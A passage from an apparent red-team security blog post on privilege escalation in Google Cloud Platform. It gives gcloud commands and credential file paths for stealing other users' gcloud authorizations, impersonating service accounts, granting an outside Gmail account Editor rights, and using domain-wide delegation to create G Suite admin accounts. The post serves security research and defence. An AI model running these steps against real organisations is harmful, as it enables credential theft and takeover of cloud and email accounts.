gcloud organizations get-iam-policy [ORG ID]\n\n```\n\n\nPermissions you see in this output will be applied to EVERY project. If you\ndon't have access to any of the accounts listed, continue reading to the\n[Service Account Impersonation](#service-account-impersonation) section\nbelow.\n\n\n### Bypassing access scopes\n\n\nThere's nothing worse than having access to a powerful service account but\nbeing limited by the access scopes of your current OAuth token. But fret\nnot! Just the existence of that powerful account introduces risks which we\nmight still be able to abuse.\n\n\n#### Pop another box\n\n\nIt's possible that another box in the environment exists with less\nrestrictive access scopes. If you can view the output of `gcloud compute\ninstances list --quiet --format=json`, look for instances with either the\nspecific scope you want or the `auth/cloud-platform` all-inclusive scope.\n\n\nAlso keep an eye out for instances that have the default service account\nassigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`).\n\n\n#### Find service account keys\n\n\nGoogle states very clearly [**\"Access scopes are not a security mechanism...\nthey have no effect when making requests not authenticated through\nOAuth\"**](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam).\n\n\nSo, if we have a powerful service account but a limited OAuth token, we need\nto somehow authenticate to services without OAuth.\n\n\nThe easiest way to do this would be to stumble across a [service account\nkey](https://cloud.google.com/iam/docs/creating-managing-service-account-keys)\nstored on the instance. These are RSA private keys that can be used to\nauthenticate to the Google Cloud API and request a new OAuth token with no\nscope limitations.\n\n\nYou can tell which service accounts, if any, have had key files exported for\nthem. This will let you know whether or not it's even worth hunting for\nthem, and possibly give you some hints on where to look. The command below\nwill help.\n\n\n```\n\n$ for i in $(gcloud iam service-accounts list\n--format=\"table[no-heading](email)\"); do\n    echo Looking for keys for $i:\n    gcloud iam service-accounts keys list --iam-account $i\ndone\n\n```\n\n\nThese files are not stored on a Compute Instance by default, so you'd have\nto be lucky to encounter them. When a service account key file is exported\nfrom the GCP console, the default name for the file is\n[project-id]-[portion-of-key-id].json. So, if your project name is\n`test-project` then you can search the filesystem for `test-project*.json`\nlooking for this key file.\n\n\nThe contents of the file look something like this:\n\n\n```\n\n{\n\n\"type\": \"service_account\",\n\n\"project_id\": \"[PROJECT-ID]\",\n\n\"private_key_id\": \"[KEY-ID]\",\n\n\"private_key\": \"-----BEGIN PRIVATE KEY-----\\n[PRIVATE-KEY]\\n-----END PRIVATE\nKEY-----\\n\",\n\n\"client_email\": \"[SERVICE-ACCOUNT-EMAIL]\",\n\n\"client_id\": \"[CLIENT-ID]\",\n\n\"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n\n\"token_uri\": \"https://accounts.google.com/o/oauth2/token\",\n\n\"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n\n\"client_x509_cert_url\":\n\"https://www.googleapis.com/robot/v1/metadata/x509/[SERVICE-ACCOUNT-EMAIL]\"\n\n}\n\n\n```\n\n\nOr, if generated from the CLI they will look like this:\n\n\n```\n\n{\n\n\"name\":\n\"projects/[PROJECT-ID]/serviceAccounts/[SERVICE-ACCOUNT-EMAIL]/keys/[KEY-ID]\",\n\n\"privateKeyType\": \"TYPE_GOOGLE_CREDENTIALS_FILE\",\n\n\"privateKeyData\": \"[PRIVATE-KEY]\",\n\n\"validAfterTime\": \"[DATE]\",\n\n\"validBeforeTime\": \"[DATE]\",\n\n\"keyAlgorithm\": \"KEY_ALG_RSA_2048\"\n\n}\n\n```\n\n\nIf you do find one of these files, you can tell the `gcloud` command to\nre-authenticate with this service account. You can do this on the instance,\nor on any machine that has the tools installed.\n\n\n```\n\n$ gcloud auth activate-service-account --key-file [FILE]\n\n```\n\n\nYou can now test your new OAuth token as follows:\n\n\n```\n\n$ TOKEN=`gcloud auth print-access-token`\n\n$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN\n\n```\n\n\nYou should see `https://www.googleapis.com/auth/cloud-platform` listed in\nthe scopes, which means you are not limited by any instance-level access\nscopes. You now have full power to use all of your assigned IAM permissions.\n\n\n#### Steal gcloud authorizations\n\n\nIt's quite possible that other users on the same box have been running\n`gcloud` commands using an account more powerful than your own. You'll need\nlocal root to do this.\n\n\nFirst, find what `gcloud` config directories exist in users' home folders.\n\n\n```\n\n$ sudo find / -name \"gcloud\"\n\n```\n\n\nYou can manually inspect the files inside, but these are generally the ones\nwith the secrets:\n\n\n- ~/.config/gcloud/credentials.db\n\n- ~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json\n\n- ~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto\n\n- ~/.credentials.json\n\n\nNow, you have the option of looking for clear text credentials in these\nfiles or simply copying the entire `gcloud` folder to a machine you control\nand running `gcloud auth list` to see what accounts are now available to\nyou.\n\n\n### Service account impersonation\n\n\nThere are three ways in which you can [impersonate another service\naccount](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):\n\n\n- Authentication using RSA private keys (covered\n[above](#find-service-account-keys))\n\n- Authorization using Cloud IAM policies (covered below)\n\n- Deploying jobs on GCP services (more applicable to the compromise of a\nuser account)\n\n\nIt's possible that the service account you are currently authenticated as\nhas permission to impersonate other accounts with more permissions and/or a\nless restrictive scope. This behavior is authorized by the predefined role\ncalled `iam.serviceAccountTokenCreator`.\n\n\nA good example here is that you've compromised an instance running as a\ncustom service account with this role, and the default service account still\nexists in the project. As the default service account has the primitive role\nof Project Editor, it is possibly even more powerful than the custom\naccount.\n\n\nEven better, you might find a service account with the primitive role of\nOwner. This gives you full permissions, and is a good target to then grant\nyour own Google account rights to log in to the project using the web\nconsole.\n\n\n`gcloud` has a `--impersonate-service-account`\n[flag](https://cloud.google.com/sdk/gcloud/reference/#--impersonate-service-account)\nwhich can be used with any command to execute in the context of that\naccount.\n\n\nTo give this a shot, you can try the following:\n\n\n```\n\n# View available service accounts\n\n$ gcloud iam service-accounts list\n\n\n# Impersonate the account\n\n$ gcloud compute instances list \\\n    --impersonate-service-account xxx@developer.gserviceaccount.com\n```\n\n\n### Exploring other projects\n\n\nIf you're really lucky, either the service account on your compromised\ninstance or another account you've bagged thus far has access to additional\nGCP projects. You can check with the following command:\n\n\n```\n\n$ gcloud projects list\n\n```\n\n\nFrom here, you can hop over to that project and start the entire process\nover.\n\n\n```\n\n$ gcloud config set project [PROJECT-ID]\n\n```\n\n\n### Granting access to management console\n\n\nAccess to the [GCP management console](https://console.cloud.google.com/) is\nprovided to user accounts, not service accounts. To log in to the web\ninterface, you can grant access to a Google account that you control. This\ncan be a generic \"@gmail.com\" account, it does not have to be a member of\nthe target organization.\n\n\nTo grant the primitive role of Owner to a generic \"@gmail.com\" account,\nthough, you'll need to use the web console. `gcloud` will error out if you\ntry to grant it a permission above Editor.\n\n\nYou can use the following command to grant a user the primitive role of\nEditor to your existing project:\n\n\n```\n\n$ gcloud projects add-iam-policy-binding [PROJECT] \\\n    --member user:[EMAIL] --role roles/editor\n```\n\n\nIf you succeeded here, try accessing the web interface and exploring from\nthere.\n\n\nThis is the highest level you can assign using the gcloud tool. To assign a\npermission of Owner, you'd need to use the console itself.\n\n\nYou need a fairly high level of permission to do this. If you're not quite\nthere, keep reading.\n\n\n### Spreading to G Suite via domain-wide delegation of authority\n\n\n[G Suite](https://gsuite.google.com/) is Google's collaboration and\nproductivity platform which consists of things like Gmail, Google Calendar,\nGoogle Drive, Google Docs, etc. Many organizations use some or all of this\nplatform as an alternative to traditional Microsoft AD/Exchange\nenvironments.\n\n\nService accounts in GCP can be granted the rights to programatically access\nuser data in G Suite by impersonating legitimate users. This is known as\n[domain-wide\ndelegation](https://developers.google.com/admin-sdk/reports/v1/guides/delegation).\nThis includes actions like reading email in GMail, accessing Google Docs,\nand even creating new user accounts in the G Suite organization.\n\n\nG Suite has [its own\nAPI](https://developers.google.com/gsuite/aspects/apis), completely separate\nfrom anything else we've explored in this blog. Permissions are granted to G\nSuite API calls in a similar fashion to how permissions are granted to GCP\nAPIs. However, G Suite and GCP are two different entities - being in one\ndoes not mean you automatically have access to another.\n\n\nIt is possible that a G Suite administrator has granted some level of G\nSuite API access to a GCP service account that you control. If you have\naccess to the Web UI at this point, you can browse to IAM -> Service\nAccounts and see if any of the accounts have \"Enabled\" listed under the\n\"domain-wide delegation\" column. The column itself may not appear if no\naccounts are enabled. As of this writing, there is no way to do this\nprogramatically, although there is a [request for this\nfeature](https://issuetracker.google.com/issues/116182848) in Google's bug\ntracker.\n\n\nIt is not enough for you to simply enable this for a service account inside\nGCP. The G Suite administrator would also have to configure this in the G\nSuite admin console.\n\n\nWhether or not you know that a service account has been given permissions\ninside G Suite, you can still try it out. You'll need the service account\ncredentials exported in JSON format. You may have acquired these in an\nearlier step, or you may have the access required now to create a key for a\nservice account you know to have domain-wide delegation enabled.\n\n\nThis topic is a bit tricky... your service account has something called a\n\"client_email\" which you can see in the JSON credential file you export. It\nprobably looks something like\n`account-name@project-name.iam.gserviceaccount.com`. If you try to access G\nSuite API calls directly with that email, even with delegation enabled, you\nwill fail. This is because the G Suite directory will not include the GCP\nservice account's email addresses. Instead, to interact with G Suite, we\nneed to actually impersonate valid G Suite users.\n\n\nWhat you really want to do is to impersonate a user with administrative\naccess, and then use that access to do something like reset a password,\ndisable multi-factor authentication, or just create yourself a shiny new\nadmin account.\n\n\nWe've created [this Python\nscript](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc/blob/master/gcp_delegation.py)\nthat can do two things - list the user directory and create a new\nadministrative account. Here is how you would use it:\n\n\n```\n\n# Validate access only\n\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com\n\n# List the directory\n\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com \\\n    --list\n\n# Create a new admin account\n\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com \\\n    --account pwned\n```\n\n\nYou can try this script across a range of email addresses to impersonate\nvarious users. Standard output will indicate whether or not the service\naccount has access to G Suite, and will include a random password for the\nnew admin account if one is created.\n\n\nIf you have success creating a new admin account, you can log on to the\n[Google admin console](https://admin.google.com) and have full control over\neverything in G Suite for every user - email, docs, calendar, etc. Go wild.\n","security",[22,24,25],"security research","open source",{"slug":27,"featured":6,"template":28},"plundering-gcp-escalating-privileges-in-google-cloud-platform","BlogPost","content:en-us:blog:plundering-gcp-escalating-privileges-in-google-cloud-platform.yml","yaml","Plundering Gcp Escalating Privileges In Google Cloud Platform","content","en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform.yml","en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform","yml",{"_path":37,"_dir":38,"_draft":6,"_partial":6,"_locale":7,"data":39,"_id":461,"_type":30,"title":462,"_source":32,"_file":463,"_stem":464,"_extension":35},"/shared/en-us/main-navigation","en-us",{"logo":40,"freeTrial":45,"sales":50,"login":55,"items":60,"search":392,"minimal":423,"duo":442,"pricingDeployment":451},{"config":41},{"href":42,"dataGaName":43,"dataGaLocation":44},"/","gitlab logo","header",{"text":46,"config":47},"Get free trial",{"href":48,"dataGaName":49,"dataGaLocation":44},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":51,"config":52},"Talk to sales",{"href":53,"dataGaName":54,"dataGaLocation":44},"/sales/","sales",{"text":56,"config":57},"Sign in",{"href":58,"dataGaName":59,"dataGaLocation":44},"https://gitlab.com/users/sign_in/","sign in",[61,105,203,208,313,373],{"text":62,"config":63,"cards":65,"footer":88},"Platform",{"dataNavLevelOne":64},"platform",[66,72,80],{"title":62,"description":67,"link":68},"The most comprehensive AI-powered DevSecOps Platform",{"text":69,"config":70},"Explore our Platform",{"href":71,"dataGaName":64,"dataGaLocation":44},"/platform/",{"title":73,"description":74,"link":75},"GitLab Duo (AI)","Build software faster with AI at every stage of development",{"text":76,"config":77},"Meet GitLab Duo",{"href":78,"dataGaName":79,"dataGaLocation":44},"/gitlab-duo/","gitlab duo ai",{"title":81,"description":82,"link":83},"Why GitLab","10 reasons why Enterprises choose GitLab",{"text":84,"config":85},"Learn more",{"href":86,"dataGaName":87,"dataGaLocation":44},"/why-gitlab/","why gitlab",{"title":89,"items":90},"Get started with",[91,96,101],{"text":92,"config":93},"Platform Engineering",{"href":94,"dataGaName":95,"dataGaLocation":44},"/solutions/platform-engineering/","platform engineering",{"text":97,"config":98},"Developer Experience",{"href":99,"dataGaName":100,"dataGaLocation":44},"/developer-experience/","Developer experience",{"text":102,"config":103},"MLOps",{"href":104,"dataGaName":102,"dataGaLocation":44},"/topics/devops/the-role-of-ai-in-devops/",{"text":106,"left":107,"config":108,"link":110,"lists":114,"footer":185},"Product",true,{"dataNavLevelOne":109},"solutions",{"text":111,"config":112},"View all Solutions",{"href":113,"dataGaName":109,"dataGaLocation":44},"/solutions/",[115,140,164],{"title":116,"description":117,"link":118,"items":123},"Automation","CI/CD and automation to accelerate deployment",{"config":119},{"icon":120,"href":121,"dataGaName":122,"dataGaLocation":44},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[124,128,132,136],{"text":125,"config":126},"CI/CD",{"href":127,"dataGaLocation":44,"dataGaName":125},"/solutions/continuous-integration/",{"text":129,"config":130},"AI-Assisted Development",{"href":78,"dataGaLocation":44,"dataGaName":131},"AI assisted development",{"text":133,"config":134},"Source Code Management",{"href":135,"dataGaLocation":44,"dataGaName":133},"/solutions/source-code-management/",{"text":137,"config":138},"Automated Software Delivery",{"href":121,"dataGaLocation":44,"dataGaName":139},"Automated software delivery",{"title":141,"description":142,"link":143,"items":148},"Security","Deliver code faster without compromising security",{"config":144},{"href":145,"dataGaName":146,"dataGaLocation":44,"icon":147},"/solutions/security-compliance/","security and compliance","ShieldCheckLight",[149,154,159],{"text":150,"config":151},"Application Security Testing",{"href":152,"dataGaName":153,"dataGaLocation":44},"/solutions/application-security-testing/","Application security testing",{"text":155,"config":156},"Software Supply Chain Security",{"href":157,"dataGaLocation":44,"dataGaName":158},"/solutions/supply-chain/","Software supply chain security",{"text":160,"config":161},"Software Compliance",{"href":162,"dataGaName":163,"dataGaLocation":44},"/solutions/software-compliance/","software compliance",{"title":165,"link":166,"items":171},"Measurement",{"config":167},{"icon":168,"href":169,"dataGaName":170,"dataGaLocation":44},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[172,176,180],{"text":173,"config":174},"Visibility & Measurement",{"href":169,"dataGaLocation":44,"dataGaName":175},"Visibility and Measurement",{"text":177,"config":178},"Value Stream Management",{"href":179,"dataGaLocation":44,"dataGaName":177},"/solutions/value-stream-management/",{"text":181,"config":182},"Analytics & Insights",{"href":183,"dataGaLocation":44,"dataGaName":184},"/solutions/analytics-and-insights/","Analytics and insights",{"title":186,"items":187},"GitLab for",[188,193,198],{"text":189,"config":190},"Enterprise",{"href":191,"dataGaLocation":44,"dataGaName":192},"/enterprise/","enterprise",{"text":194,"config":195},"Small Business",{"href":196,"dataGaLocation":44,"dataGaName":197},"/small-business/","small business",{"text":199,"config":200},"Public Sector",{"href":201,"dataGaLocation":44,"dataGaName":202},"/solutions/public-sector/","public sector",{"text":204,"config":205},"Pricing",{"href":206,"dataGaName":207,"dataGaLocation":44,"dataNavLevelOne":207},"/pricing/","pricing",{"text":209,"config":210,"link":212,"lists":216,"feature":300},"Resources",{"dataNavLevelOne":211},"resources",{"text":213,"config":214},"View all resources",{"href":215,"dataGaName":211,"dataGaLocation":44},"/resources/",[217,250,272],{"title":218,"items":219},"Getting started",[220,225,230,235,240,245],{"text":221,"config":222},"Install",{"href":223,"dataGaName":224,"dataGaLocation":44},"/install/","install",{"text":226,"config":227},"Quick start guides",{"href":228,"dataGaName":229,"dataGaLocation":44},"/get-started/","quick setup checklists",{"text":231,"config":232},"Learn",{"href":233,"dataGaLocation":44,"dataGaName":234},"https://university.gitlab.com/","learn",{"text":236,"config":237},"Product documentation",{"href":238,"dataGaName":239,"dataGaLocation":44},"https://docs.gitlab.com/","product documentation",{"text":241,"config":242},"Best practice videos",{"href":243,"dataGaName":244,"dataGaLocation":44},"/getting-started-videos/","best practice videos",{"text":246,"config":247},"Integrations",{"href":248,"dataGaName":249,"dataGaLocation":44},"/integrations/","integrations",{"title":251,"items":252},"Discover",[253,258,262,267],{"text":254,"config":255},"Customer success stories",{"href":256,"dataGaName":257,"dataGaLocation":44},"/customers/","customer success stories",{"text":259,"config":260},"Blog",{"href":261,"dataGaName":5,"dataGaLocation":44},"/blog/",{"text":263,"config":264},"Remote",{"href":265,"dataGaName":266,"dataGaLocation":44},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":268,"config":269},"TeamOps",{"href":270,"dataGaName":271,"dataGaLocation":44},"/teamops/","teamops",{"title":273,"items":274},"Connect",[275,280,285,290,295],{"text":276,"config":277},"GitLab Services",{"href":278,"dataGaName":279,"dataGaLocation":44},"/services/","services",{"text":281,"config":282},"Community",{"href":283,"dataGaName":284,"dataGaLocation":44},"/community/","community",{"text":286,"config":287},"Forum",{"href":288,"dataGaName":289,"dataGaLocation":44},"https://forum.gitlab.com/","forum",{"text":291,"config":292},"Events",{"href":293,"dataGaName":294,"dataGaLocation":44},"/events/","events",{"text":296,"config":297},"Partners",{"href":298,"dataGaName":299,"dataGaLocation":44},"/partners/","partners",{"backgroundColor":301,"textColor":302,"text":303,"image":304,"link":308},"#2f2a6b","#fff","Insights for the future of software development",{"altText":305,"config":306},"the source promo card",{"src":307},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":309,"config":310},"Read the latest",{"href":311,"dataGaName":312,"dataGaLocation":44},"/the-source/","the source",{"text":314,"config":315,"lists":317},"Company",{"dataNavLevelOne":316},"company",[318],{"items":319},[320,325,331,333,338,343,348,353,358,363,368],{"text":321,"config":322},"About",{"href":323,"dataGaName":324,"dataGaLocation":44},"/company/","about",{"text":326,"config":327,"footerGa":330},"Jobs",{"href":328,"dataGaName":329,"dataGaLocation":44},"/jobs/","jobs",{"dataGaName":329},{"text":291,"config":332},{"href":293,"dataGaName":294,"dataGaLocation":44},{"text":334,"config":335},"Leadership",{"href":336,"dataGaName":337,"dataGaLocation":44},"/company/team/e-group/","leadership",{"text":339,"config":340},"Team",{"href":341,"dataGaName":342,"dataGaLocation":44},"/company/team/","team",{"text":344,"config":345},"Handbook",{"href":346,"dataGaName":347,"dataGaLocation":44},"https://handbook.gitlab.com/","handbook",{"text":349,"config":350},"Investor relations",{"href":351,"dataGaName":352,"dataGaLocation":44},"https://ir.gitlab.com/","investor relations",{"text":354,"config":355},"Trust Center",{"href":356,"dataGaName":357,"dataGaLocation":44},"/security/","trust center",{"text":359,"config":360},"AI Transparency Center",{"href":361,"dataGaName":362,"dataGaLocation":44},"/ai-transparency-center/","ai transparency center",{"text":364,"config":365},"Newsletter",{"href":366,"dataGaName":367,"dataGaLocation":44},"/company/contact/","newsletter",{"text":369,"config":370},"Press",{"href":371,"dataGaName":372,"dataGaLocation":44},"/press/","press",{"text":374,"config":375,"lists":376},"Contact us",{"dataNavLevelOne":316},[377],{"items":378},[379,382,387],{"text":51,"config":380},{"href":53,"dataGaName":381,"dataGaLocation":44},"talk to sales",{"text":383,"config":384},"Get help",{"href":385,"dataGaName":386,"dataGaLocation":44},"/support/","get help",{"text":388,"config":389},"Customer portal",{"href":390,"dataGaName":391,"dataGaLocation":44},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":393,"login":394,"suggestions":401},"Close",{"text":395,"link":396},"To search repositories and projects, login to",{"text":397,"config":398},"gitlab.com",{"href":58,"dataGaName":399,"dataGaLocation":400},"search login","search",{"text":402,"default":403},"Suggestions",[404,406,410,412,416,420],{"text":73,"config":405},{"href":78,"dataGaName":73,"dataGaLocation":400},{"text":407,"config":408},"Code Suggestions (AI)",{"href":409,"dataGaName":407,"dataGaLocation":400},"/solutions/code-suggestions/",{"text":125,"config":411},{"href":127,"dataGaName":125,"dataGaLocation":400},{"text":413,"config":414},"GitLab on AWS",{"href":415,"dataGaName":413,"dataGaLocation":400},"/partners/technology-partners/aws/",{"text":417,"config":418},"GitLab on Google Cloud",{"href":419,"dataGaName":417,"dataGaLocation":400},"/partners/technology-partners/google-cloud-platform/",{"text":421,"config":422},"Why GitLab?",{"href":86,"dataGaName":421,"dataGaLocation":400},{"freeTrial":424,"mobileIcon":429,"desktopIcon":434,"secondaryButton":437},{"text":425,"config":426},"Start free trial",{"href":427,"dataGaName":49,"dataGaLocation":428},"https://gitlab.com/-/trials/new/","nav",{"altText":430,"config":431},"Gitlab Icon",{"src":432,"dataGaName":433,"dataGaLocation":428},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":430,"config":435},{"src":436,"dataGaName":433,"dataGaLocation":428},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":438,"config":439},"Get Started",{"href":440,"dataGaName":441,"dataGaLocation":428},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/compare/gitlab-vs-github/","get started",{"freeTrial":443,"mobileIcon":447,"desktopIcon":449},{"text":444,"config":445},"Learn more about GitLab Duo",{"href":78,"dataGaName":446,"dataGaLocation":428},"gitlab duo",{"altText":430,"config":448},{"src":432,"dataGaName":433,"dataGaLocation":428},{"altText":430,"config":450},{"src":436,"dataGaName":433,"dataGaLocation":428},{"freeTrial":452,"mobileIcon":457,"desktopIcon":459},{"text":453,"config":454},"Back to pricing",{"href":206,"dataGaName":455,"dataGaLocation":428,"icon":456},"back to pricing","GoBack",{"altText":430,"config":458},{"src":432,"dataGaName":433,"dataGaLocation":428},{"altText":430,"config":460},{"src":436,"dataGaName":433,"dataGaLocation":428},"content:shared:en-us:main-navigation.yml","Main Navigation","shared/en-us/main-navigation.yml","shared/en-us/main-navigation",{"_path":466,"_dir":38,"_draft":6,"_partial":6,"_locale":7,"title":467,"button":468,"image":473,"config":477,"_id":479,"_type":30,"_source":32,"_file":480,"_stem":481,"_extension":35},"/shared/en-us/banner","is now in public beta!",{"text":469,"config":470},"Try the Beta",{"href":471,"dataGaName":472,"dataGaLocation":44},"/gitlab-duo/agent-platform/","duo banner",{"altText":474,"config":475},"GitLab Duo Agent Platform",{"src":476},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1753720689/somrf9zaunk0xlt7ne4x.svg",{"layout":478},"release","content:shared:en-us:banner.yml","shared/en-us/banner.yml","shared/en-us/banner",{"_path":483,"_dir":38,"_draft":6,"_partial":6,"_locale":7,"data":484,"_id":688,"_type":30,"title":689,"_source":32,"_file":690,"_stem":691,"_extension":35},"/shared/en-us/main-footer",{"text":485,"source":486,"edit":492,"contribute":497,"config":502,"items":507,"minimal":680},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":487,"config":488},"View page source",{"href":489,"dataGaName":490,"dataGaLocation":491},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":493,"config":494},"Edit this page",{"href":495,"dataGaName":496,"dataGaLocation":491},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":498,"config":499},"Please contribute",{"href":500,"dataGaName":501,"dataGaLocation":491},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":503,"facebook":504,"youtube":505,"linkedin":506},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[508,531,587,616,650],{"title":62,"links":509,"subMenu":514},[510],{"text":511,"config":512},"DevSecOps platform",{"href":71,"dataGaName":513,"dataGaLocation":491},"devsecops platform",[515],{"title":204,"links":516},[517,521,526],{"text":518,"config":519},"View plans",{"href":206,"dataGaName":520,"dataGaLocation":491},"view plans",{"text":522,"config":523},"Why Premium?",{"href":524,"dataGaName":525,"dataGaLocation":491},"/pricing/premium/","why premium",{"text":527,"config":528},"Why Ultimate?",{"href":529,"dataGaName":530,"dataGaLocation":491},"/pricing/ultimate/","why ultimate",{"title":532,"links":533},"Solutions",[534,539,541,543,548,553,557,560,564,569,571,574,577,582],{"text":535,"config":536},"Digital transformation",{"href":537,"dataGaName":538,"dataGaLocation":491},"/topics/digital-transformation/","digital transformation",{"text":150,"config":540},{"href":152,"dataGaName":150,"dataGaLocation":491},{"text":139,"config":542},{"href":121,"dataGaName":122,"dataGaLocation":491},{"text":544,"config":545},"Agile development",{"href":546,"dataGaName":547,"dataGaLocation":491},"/solutions/agile-delivery/","agile delivery",{"text":549,"config":550},"Cloud transformation",{"href":551,"dataGaName":552,"dataGaLocation":491},"/topics/cloud-native/","cloud transformation",{"text":554,"config":555},"SCM",{"href":135,"dataGaName":556,"dataGaLocation":491},"source code management",{"text":125,"config":558},{"href":127,"dataGaName":559,"dataGaLocation":491},"continuous integration & delivery",{"text":561,"config":562},"Value stream management",{"href":179,"dataGaName":563,"dataGaLocation":491},"value stream management",{"text":565,"config":566},"GitOps",{"href":567,"dataGaName":568,"dataGaLocation":491},"/solutions/gitops/","gitops",{"text":189,"config":570},{"href":191,"dataGaName":192,"dataGaLocation":491},{"text":572,"config":573},"Small business",{"href":196,"dataGaName":197,"dataGaLocation":491},{"text":575,"config":576},"Public sector",{"href":201,"dataGaName":202,"dataGaLocation":491},{"text":578,"config":579},"Education",{"href":580,"dataGaName":581,"dataGaLocation":491},"/solutions/education/","education",{"text":583,"config":584},"Financial services",{"href":585,"dataGaName":586,"dataGaLocation":491},"/solutions/finance/","financial services",{"title":209,"links":588},[589,591,593,595,598,600,602,604,606,608,610,612,614],{"text":221,"config":590},{"href":223,"dataGaName":224,"dataGaLocation":491},{"text":226,"config":592},{"href":228,"dataGaName":229,"dataGaLocation":491},{"text":231,"config":594},{"href":233,"dataGaName":234,"dataGaLocation":491},{"text":236,"config":596},{"href":238,"dataGaName":597,"dataGaLocation":491},"docs",{"text":259,"config":599},{"href":261,"dataGaName":5,"dataGaLocation":491},{"text":254,"config":601},{"href":256,"dataGaName":257,"dataGaLocation":491},{"text":263,"config":603},{"href":265,"dataGaName":266,"dataGaLocation":491},{"text":276,"config":605},{"href":278,"dataGaName":279,"dataGaLocation":491},{"text":268,"config":607},{"href":270,"dataGaName":271,"dataGaLocation":491},{"text":281,"config":609},{"href":283,"dataGaName":284,"dataGaLocation":491},{"text":286,"config":611},{"href":288,"dataGaName":289,"dataGaLocation":491},{"text":291,"config":613},{"href":293,"dataGaName":294,"dataGaLocation":491},{"text":296,"config":615},{"href":298,"dataGaName":299,"dataGaLocation":491},{"title":314,"links":617},[618,620,622,624,626,628,630,634,639,641,643,645],{"text":321,"config":619},{"href":323,"dataGaName":316,"dataGaLocation":491},{"text":326,"config":621},{"href":328,"dataGaName":329,"dataGaLocation":491},{"text":334,"config":623},{"href":336,"dataGaName":337,"dataGaLocation":491},{"text":339,"config":625},{"href":341,"dataGaName":342,"dataGaLocation":491},{"text":344,"config":627},{"href":346,"dataGaName":347,"dataGaLocation":491},{"text":349,"config":629},{"href":351,"dataGaName":352,"dataGaLocation":491},{"text":631,"config":632},"Sustainability",{"href":633,"dataGaName":631,"dataGaLocation":491},"/sustainability/",{"text":635,"config":636},"Diversity, inclusion and belonging (DIB)",{"href":637,"dataGaName":638,"dataGaLocation":491},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":354,"config":640},{"href":356,"dataGaName":357,"dataGaLocation":491},{"text":364,"config":642},{"href":366,"dataGaName":367,"dataGaLocation":491},{"text":369,"config":644},{"href":371,"dataGaName":372,"dataGaLocation":491},{"text":646,"config":647},"Modern Slavery Transparency Statement",{"href":648,"dataGaName":649,"dataGaLocation":491},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":651,"links":652},"Contact Us",[653,656,658,660,665,670,675],{"text":654,"config":655},"Contact an expert",{"href":53,"dataGaName":54,"dataGaLocation":491},{"text":383,"config":657},{"href":385,"dataGaName":386,"dataGaLocation":491},{"text":388,"config":659},{"href":390,"dataGaName":391,"dataGaLocation":491},{"text":661,"config":662},"Status",{"href":663,"dataGaName":664,"dataGaLocation":491},"https://status.gitlab.com/","status",{"text":666,"config":667},"Terms of use",{"href":668,"dataGaName":669,"dataGaLocation":491},"/terms/","terms of use",{"text":671,"config":672},"Privacy statement",{"href":673,"dataGaName":674,"dataGaLocation":491},"/privacy/","privacy statement",{"text":676,"config":677},"Cookie preferences",{"dataGaName":678,"dataGaLocation":491,"id":679,"isOneTrustButton":107},"cookie preferences","ot-sdk-btn",{"items":681},[682,684,686],{"text":666,"config":683},{"href":668,"dataGaName":669,"dataGaLocation":491},{"text":671,"config":685},{"href":673,"dataGaName":674,"dataGaLocation":491},{"text":676,"config":687},{"dataGaName":678,"dataGaLocation":491,"id":679,"isOneTrustButton":107},"content:shared:en-us:main-footer.yml","Main 